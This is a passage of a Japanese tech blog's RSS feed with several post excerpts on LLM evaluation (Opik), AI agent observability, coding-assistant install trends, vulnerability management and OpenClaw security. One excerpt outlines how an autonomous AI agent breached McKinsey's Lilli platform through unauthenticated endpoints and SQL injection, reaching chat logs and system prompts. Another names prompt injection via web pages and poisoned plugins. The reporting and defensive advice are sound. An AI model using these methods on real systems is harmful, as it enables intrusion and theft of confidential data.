&lt;p&gt;LLM-as-a-judge によるハルシネーション検出、コンテキスト精度、回答の関連性といった自動評価メトリクスを提供します。データセットを定義して「良い回答とは何か」を基準化し、新バージョンのアプリを自動スコアリングできます。Pytest との統合により CI/CD パイプラインに評価を組み込むことも可能です。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; opik.evaluation.metrics &lt;span style="color:#f92672"&gt;import&lt;/span&gt; Hallucination
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;metric &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Hallucination()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;score &lt;span style="color:#f92672"&gt;=&lt;/span&gt; metric&lt;span style="color:#f92672"&gt;.&lt;/span&gt;score(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; input&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;フランスの首都は？&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; output&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;パリです。&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; context&lt;span style="color:#f92672"&gt;=&lt;/span&gt;[&lt;span style="color:#e6db74"&gt;&amp;#34;フランスの首都はパリである。&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;print(score) &lt;span style="color:#75715e"&gt;# HallucinationResult(score=0.0, reason=&amp;#34;...&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;strong&gt;3. 本番監視と最適化&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>opik-openclaw — OpenClaw の AIエージェント動作を可視化するオブザーバビリティツール</title><link>https://hdknr.github.io/blogs/posts/2026/03/opik-openclaw-openclaw-%E3%81%AE-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%8B%95%E4%BD%9C%E3%82%92%E5%8F%AF%E8%A6%96%E5%8C%96%E3%81%99%E3%82%8B%E3%82%AA%E3%83%96%E3%82%B6%E3%83%BC%E3%83%90%E3%83%93%E3%83%AA%E3%83%86%E3%82%A3%E3%83%84%E3%83%BC%E3%83%AB/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/opik-openclaw-openclaw-%E3%81%AE-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%8B%95%E4%BD%9C%E3%82%92%E5%8F%AF%E8%A6%96%E5%8C%96%E3%81%99%E3%82%8B%E3%82%AA%E3%83%96%E3%82%B6%E3%83%BC%E3%83%90%E3%83%93%E3%83%AA%E3%83%86%E3%82%A3%E3%83%84%E3%83%BC%E3%83%AB/</guid><description>&lt;p&gt;OpenClaw を使っていると「AI が裏で何をしているのか分からない」と感じることはありませんか？Comet が開発した &lt;strong&gt;opik-openclaw&lt;/strong&gt; は、OpenClaw のエージェント動作をトレース・可視化するオープンソースプラグインです。AI を「ブラックボックス」から「ガラスボックス」に変えてくれます。&lt;/p&gt;
&lt;h2 id="opik-openclaw-とは"&gt;opik-openclaw とは&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/comet-ml/opik-openclaw"&gt;opik-openclaw&lt;/a&gt; は、Comet が開発する LLM オブザーバビリティプラットフォーム &lt;a href="https://github.com/comet-ml/opik"&gt;Opik&lt;/a&gt;（GitHub Star 18,000+）の OpenClaw 公式プラグインです。&lt;/p&gt;
&lt;p&gt;OpenClaw のエージェントが実行するすべての操作を記録・可視化し、以下の情報をダッシュボードで確認できます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;LLM 呼び出し&lt;/strong&gt;: 入出力ペア、トークン数、レイテンシ、コスト&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ツール実行&lt;/strong&gt;: どのツールが、いつ、どんな引数で呼ばれたか&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エージェント委譲&lt;/strong&gt;: サブエージェントへのタスク委譲の流れ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;推論プロセス&lt;/strong&gt;: 最初のメッセージから最終応答までの全会話フロー&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="セットアップ3-コマンド"&gt;セットアップ（3 コマンド）&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 1. プラグインをインストール&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;openclaw plugins install @opik/opik-openclaw
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 2. 認証情報を設定&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;openclaw opik configure
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 3. ゲートウェイを再起動&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;openclaw gateway restart
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;動作確認は以下のコマンドで行えます。&lt;/p&gt;</description></item><item><title>VS Code AI コーディングアシスタントのインストール数推移：GitHub Copilot の急落と競合の台頭</title><link>https://hdknr.github.io/blogs/posts/2026/03/vs-code-ai-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%A2%E3%82%B7%E3%82%B9%E3%82%BF%E3%83%B3%E3%83%88%E3%81%AE%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB%E6%95%B0%E6%8E%A8%E7%A7%BBgithub-copilot-%E3%81%AE%E6%80%A5%E8%90%BD%E3%81%A8%E7%AB%B6%E5%90%88%E3%81%AE%E5%8F%B0%E9%A0%AD/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/vs-code-ai-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%A2%E3%82%B7%E3%82%B9%E3%82%BF%E3%83%B3%E3%83%88%E3%81%AE%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB%E6%95%B0%E6%8E%A8%E7%A7%BBgithub-copilot-%E3%81%AE%E6%80%A5%E8%90%BD%E3%81%A8%E7%AB%B6%E5%90%88%E3%81%AE%E5%8F%B0%E9%A0%AD/</guid><description>&lt;p&gt;VS Code マーケットプレイスにおける AI コーディングアシスタントの日次インストール数を示すグラフが話題になっている。GitHub Copilot のインストール数が急激に落ち込む「崖」が鮮明に表れており、SaaS 事業者やプロダクトマネージャーにとって示唆に富む内容だ。&lt;/p&gt;
&lt;h2 id="グラフが示すもの"&gt;グラフが示すもの&lt;/h2&gt;
&lt;p&gt;「Daily Install Counts of AI Coding Assistants in Visual Studio Code」と題されたグラフには、以下の 3 つの AI コーディングアシスタントの日次インストール数（30日移動平均）が描かれている。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GitHub Copilot&lt;/strong&gt;（オレンジ）：2021年末から着実に成長し、2025年後半には日次 150,000 インストール近くまで到達。しかし 2026年に入って急落し、現在は 60,000 前後まで落ち込んでいる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Claude Code&lt;/strong&gt;（シアン）：2025年後半に登場し、直近で急速に伸長。日次 60,000 近くまで上昇&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OpenAI Codex&lt;/strong&gt;（イエロー）：同じく直近で伸びを見せているが、Claude Code よりやや控えめ&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;注目すべきは、GitHub Copilot のインストール数がピークから半分以下に急落している点だ。この「崖」は、競合の台頭と GitHub Copilot 自体の変化の両方が要因と考えられる。&lt;/p&gt;
&lt;h2 id="急落の背景"&gt;急落の背景&lt;/h2&gt;
&lt;h3 id="github-copilot-の課金モデル変更"&gt;GitHub Copilot の課金モデル変更&lt;/h3&gt;
&lt;p&gt;GitHub Copilot は 2024年12月に無料ティアを導入し、月 2,000 回のコード補完と 50 回のチャットリクエストという制限付きで提供を開始した。同時に、有料プランの価格体系も複雑化している。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Free&lt;/strong&gt;：月 2,000 補完 / 50 チャット&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pro&lt;/strong&gt;：$10/月&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pro+&lt;/strong&gt;：$39/月&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Business&lt;/strong&gt;：$19/ユーザー/月&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enterprise&lt;/strong&gt;：$39/ユーザー/月&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;無料ティアの導入は新規ユーザー獲得を狙った施策だが、既存の有料ユーザーが無料枠で十分と判断して解約するケースもあり得る。また、Microsoft は従来の IntelliCode を廃止し、AI 支援を Copilot に一本化する戦略を取っている。&lt;/p&gt;</description></item><item><title>マッキンゼーの社内AI「Lilli」がSQLインジェクションで完全突破された件</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%9E%E3%83%83%E3%82%AD%E3%83%B3%E3%82%BC%E3%83%BC%E3%81%AE%E7%A4%BE%E5%86%85aililli%E3%81%8Csql%E3%82%A4%E3%83%B3%E3%82%B8%E3%82%A7%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3%E3%81%A7%E5%AE%8C%E5%85%A8%E7%AA%81%E7%A0%B4%E3%81%95%E3%82%8C%E3%81%9F%E4%BB%B6/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%9E%E3%83%83%E3%82%AD%E3%83%B3%E3%82%BC%E3%83%BC%E3%81%AE%E7%A4%BE%E5%86%85aililli%E3%81%8Csql%E3%82%A4%E3%83%B3%E3%82%B8%E3%82%A7%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3%E3%81%A7%E5%AE%8C%E5%85%A8%E7%AA%81%E7%A0%B4%E3%81%95%E3%82%8C%E3%81%9F%E4%BB%B6/</guid><description>&lt;p&gt;セキュリティスタートアップ CodeWall の AI エージェントが、マッキンゼーの社内 AI プラットフォーム「Lilli」をわずか2時間で完全突破した。4,650万件のチャット履歴からシステムプロンプトまで、認証なしで読み書き可能だったという。攻撃手法は SQL インジェクション——教科書の1章目に載る古典的な脆弱性だ。&lt;/p&gt;
&lt;h2 id="lilli-とは"&gt;Lilli とは&lt;/h2&gt;
&lt;p&gt;Lilli はマッキンゼーが社内向けに構築した生成 AI プラットフォームで、数万人のコンサルタントが日常的に利用している。戦略立案、M&amp;amp;A 分析、クライアント対応など、機密性の高い業務に活用されていた。&lt;/p&gt;
&lt;h2 id="lilli-のアーキテクチャ"&gt;Lilli のアーキテクチャ&lt;/h2&gt;
&lt;p&gt;マッキンゼーは Lilli の技術構成をある程度公開しており、その設計思想と今回の事件のギャップが際立つ。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;RAG パイプライン + オーケストレーション層&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Lilli のコアは RAG（Retrieval-Augmented Generation）パイプラインだ。40以上のキュレーション済みナレッジソースに10万件超のドキュメント、インタビュー記録、セクター別プレイブックが格納されている。ユーザーのクエリはベクトル埋め込みでマッチングされ、5〜7件の関連文書が引用付きで提示される。四半期あたり約200万クエリを処理する規模だ。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;技術スタック&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;LLM&lt;/strong&gt;: Cohere、OpenAI（Azure 経由）など複数モデルを併用。Microsoft、Google、Nvidia、Anthropic との戦略的パートナーシップ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;フレームワーク&lt;/strong&gt;: QuantumBlack の Horizon ツールキット、LangChain、FAISS&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;インフラ&lt;/strong&gt;: Microsoft Azure（データストレージ・スケーラビリティ）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;独自ツール&lt;/strong&gt;: PowerPoint を85%以上読み取り可能にする独自ドキュメントパーサー&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;「ゼロトラスト」設計——のはずだった&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;マッキンゼーは Lilli のセキュリティについて、ゼロトラストセキュリティスタック、オンプレミスデータストア、ロールベースアクセス制御（RBAC）、完全な監査ログを備えていると説明していた。しかし実際には、22個の API エンドポイントが認証なしで外部に公開されていた。設計上のセキュリティと実装上のセキュリティの乖離が、今回の事件の根本原因だ。&lt;/p&gt;
&lt;h2 id="攻撃の経緯"&gt;攻撃の経緯&lt;/h2&gt;
&lt;p&gt;CodeWall の自律型セキュリティエージェントは、以下の手順で Lilli を攻撃した:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;公開 API ドキュメントの発見&lt;/strong&gt; — Lilli の API ドキュメントが外部から閲覧可能な状態だった&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;認証不要エンドポイントの特定&lt;/strong&gt; — 22個のエンドポイントが認証なしでアクセス可能だった&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SQL インジェクションの検出&lt;/strong&gt; — ユーザー検索クエリを書き込むエンドポイントで、JSON のキー名が SQL 文に直接連結されていた&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;本番データベースへのフルアクセス&lt;/strong&gt; — 読み取りと書き込みの両方が可能な状態に到達&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;人間の介入は一切なし。AI エージェントが自律的に脆弱性を発見し、エクスプロイトまで完了した。&lt;/p&gt;</description></item><item><title>脆弱性管理の次の時代 ── Exposure Management とは何か</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E8%84%86%E5%BC%B1%E6%80%A7%E7%AE%A1%E7%90%86%E3%81%AE%E6%AC%A1%E3%81%AE%E6%99%82%E4%BB%A3-exposure-management-%E3%81%A8%E3%81%AF%E4%BD%95%E3%81%8B/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E8%84%86%E5%BC%B1%E6%80%A7%E7%AE%A1%E7%90%86%E3%81%AE%E6%AC%A1%E3%81%AE%E6%99%82%E4%BB%A3-exposure-management-%E3%81%A8%E3%81%AF%E4%BD%95%E3%81%8B/</guid><description>&lt;p&gt;企業のセキュリティチームは深刻な課題に直面しています。NVD（National Vulnerability Database）に登録される CVE は年間 25,000 件以上。多くの企業では数万〜数十万の脆弱性がスキャンで検出されます。しかし現実は明確で、「すべてを修正することは不可能」です。&lt;/p&gt;
&lt;p&gt;この状況を背景に、ガートナーは新しいセキュリティの考え方として &lt;strong&gt;Exposure Management（エクスポージャー管理）&lt;/strong&gt; を提示しました。&lt;/p&gt;
&lt;h2 id="cvss-とは何か"&gt;CVSS とは何か&lt;/h2&gt;
&lt;p&gt;Exposure Management を理解する前に、従来の脆弱性管理の中核にある &lt;strong&gt;CVSS（Common Vulnerability Scoring System）&lt;/strong&gt; について押さえておきましょう。&lt;/p&gt;
&lt;p&gt;CVSS は、脆弱性の深刻度を &lt;strong&gt;0.0〜10.0&lt;/strong&gt; のスコアで数値化する国際的な評価基準です。FIRST（Forum of Incident Response and Security Teams）が管理しており、現在は v3.1 と v4.0 が使われています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;スコア&lt;/th&gt;
&lt;th&gt;深刻度&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;9.0〜10.0&lt;/td&gt;
&lt;td&gt;Critical（緊急）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7.0〜8.9&lt;/td&gt;
&lt;td&gt;High（重要）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4.0〜6.9&lt;/td&gt;
&lt;td&gt;Medium（警告）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0.1〜3.9&lt;/td&gt;
&lt;td&gt;Low（注意）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;スコアは以下の観点から算出されます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;攻撃元区分&lt;/strong&gt; — ネットワーク経由か、物理アクセスが必要か&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;攻撃条件の複雑さ&lt;/strong&gt; — 特殊な条件が必要か&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;必要な特権レベル&lt;/strong&gt; — 認証が必要か&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ユーザ関与&lt;/strong&gt; — ユーザの操作（リンクのクリック等）が必要か&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;影響範囲&lt;/strong&gt; — 機密性・完全性・可用性への影響度&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CVSS は脆弱性の&lt;strong&gt;技術的な深刻度&lt;/strong&gt;を標準化された方法で伝える点で非常に有用です。しかし、このスコアだけに頼る運用には限界があります。&lt;/p&gt;
&lt;h2 id="従来の脆弱性管理の限界"&gt;従来の脆弱性管理の限界&lt;/h2&gt;
&lt;p&gt;従来のアプローチは「脆弱性スキャン → CVSS スコアで優先順位付け → パッチ適用」というものでした。しかし現代の IT 環境では以下の課題があります。&lt;/p&gt;</description></item><item><title>中国政府が OpenClaw に緊急セキュリティ警告：AI エージェントの安全な運用とは</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E4%B8%AD%E5%9B%BD%E6%94%BF%E5%BA%9C%E3%81%8C-openclaw-%E3%81%AB%E7%B7%8A%E6%80%A5%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E8%AD%A6%E5%91%8Aai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E5%AE%89%E5%85%A8%E3%81%AA%E9%81%8B%E7%94%A8%E3%81%A8%E3%81%AF/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E4%B8%AD%E5%9B%BD%E6%94%BF%E5%BA%9C%E3%81%8C-openclaw-%E3%81%AB%E7%B7%8A%E6%80%A5%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E8%AD%A6%E5%91%8Aai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E5%AE%89%E5%85%A8%E3%81%AA%E9%81%8B%E7%94%A8%E3%81%A8%E3%81%AF/</guid><description>&lt;p&gt;オープンソースの AI エージェントフレームワーク「OpenClaw」の利用が中国国内で急拡大する中、中国の国家コンピュータネットワーク緊急対応技術チーム（CNCERT）が緊急のセキュリティ警告を発しました。政府機関や国有銀行での使用禁止にまで発展したこの問題について、技術的な背景と対策をまとめます。&lt;/p&gt;
&lt;h2 id="何が起きたのか"&gt;何が起きたのか&lt;/h2&gt;
&lt;p&gt;2026年3月、中国の CNCERT は OpenClaw について「極めて弱いデフォルトセキュリティ設定」を持つと警告を発しました。OpenClaw はローカルファイルシステムや環境変数へのアクセス、拡張機能のインストールなど高いシステム権限を付与されますが、デフォルトのセキュリティ設定が不十分であり、攻撃者がシステム全体の制御を容易に奪取できる状態であると指摘されています。&lt;/p&gt;
&lt;p&gt;この警告を受けて、中国当局は政府機関と国有企業（主要銀行を含む）に対し、業務用コンピュータへの OpenClaw のインストールを禁止する通知を出しました。既にインストール済みの職員には、上司への報告・セキュリティチェック・必要に応じた削除が指示されています。&lt;/p&gt;
&lt;h2 id="cncert-が指摘した主なリスク"&gt;CNCERT が指摘した主なリスク&lt;/h2&gt;
&lt;h3 id="1-アーキテクチャ設計上の問題"&gt;1. アーキテクチャ設計上の問題&lt;/h3&gt;
&lt;p&gt;OpenClaw はローカルファイルシステム、環境変数、シェルへの広範なアクセス権限を持ちます。これ自体は AI エージェントの機能として必要ですが、適切な制限なしに運用すると重大なリスクとなります。&lt;/p&gt;
&lt;h3 id="2-デフォルト設定の脆弱性"&gt;2. デフォルト設定の脆弱性&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;管理 UI のデフォルトポート&lt;/strong&gt;がインターネットに公開可能な状態&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;環境変数に認証情報を平文で保存&lt;/strong&gt;する設定がデフォルト&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;スキルの自動更新&lt;/strong&gt;が有効な状態がデフォルト&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-プラグインエコシステムの危険性"&gt;3. プラグインエコシステムの危険性&lt;/h3&gt;
&lt;p&gt;不正なプラグイン（ポイズンドプラグイン）を通じて、ユーザーのシステムに悪意あるコードが侵入するリスクがあります。プラグインのアクセス権限が十分に制限されていないことが問題視されています。&lt;/p&gt;
&lt;h3 id="4-web-ベースの攻撃"&gt;4. Web ベースの攻撃&lt;/h3&gt;
&lt;p&gt;悪意ある指示を Web ページに埋め込むことで、OpenClaw に不正な操作を実行させる攻撃（プロンプトインジェクション）が可能です。&lt;/p&gt;
&lt;h3 id="5-重要データの誤削除"&gt;5. 重要データの誤削除&lt;/h3&gt;
&lt;p&gt;AI エージェントの判断ミスにより、ユーザーが意図しない重要データの削除が発生するリスクも指摘されています。&lt;/p&gt;
&lt;h2 id="cncert-の推奨対策"&gt;CNCERT の推奨対策&lt;/h2&gt;
&lt;p&gt;CNCERT は以下の対策を推奨しています。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;コンテナで隔離実行する&lt;/strong&gt; — OpenClaw をホストシステムから隔離された環境で動作させる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;管理ポートをインターネットに公開しない&lt;/strong&gt; — 管理 UI へのアクセスをローカルネットワークに限定する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;認証情報を平文で環境変数に保存しない&lt;/strong&gt; — シークレット管理ツールを使用する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;スキルの自動更新を無効にする&lt;/strong&gt; — 更新は手動で検証してから適用する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;厳密な認証とアクセス制御を実装する&lt;/strong&gt; — 不要な権限を排除する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セキュリティアップデートへの追従を徹底する&lt;/strong&gt; — 既知の脆弱性に速やかに対応する&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="ai-エージェント全般への教訓"&gt;AI エージェント全般への教訓&lt;/h2&gt;
&lt;p&gt;この問題は OpenClaw に限った話ではありません。AI エージェントは本質的に高いシステム権限を必要とするため、以下の原則はどのエージェントツールにも当てはまります。&lt;/p&gt;</description></item><item><title>Claude Code Review — エージェントチームが PR のバグを狩る新機能</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-review-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%83%81%E3%83%BC%E3%83%A0%E3%81%8C-pr-%E3%81%AE%E3%83%90%E3%82%B0%E3%82%92%E7%8B%A9%E3%82%8B%E6%96%B0%E6%A9%9F%E8%83%BD/</link><pubDate>Tue, 10 Mar 2026 00:00:00 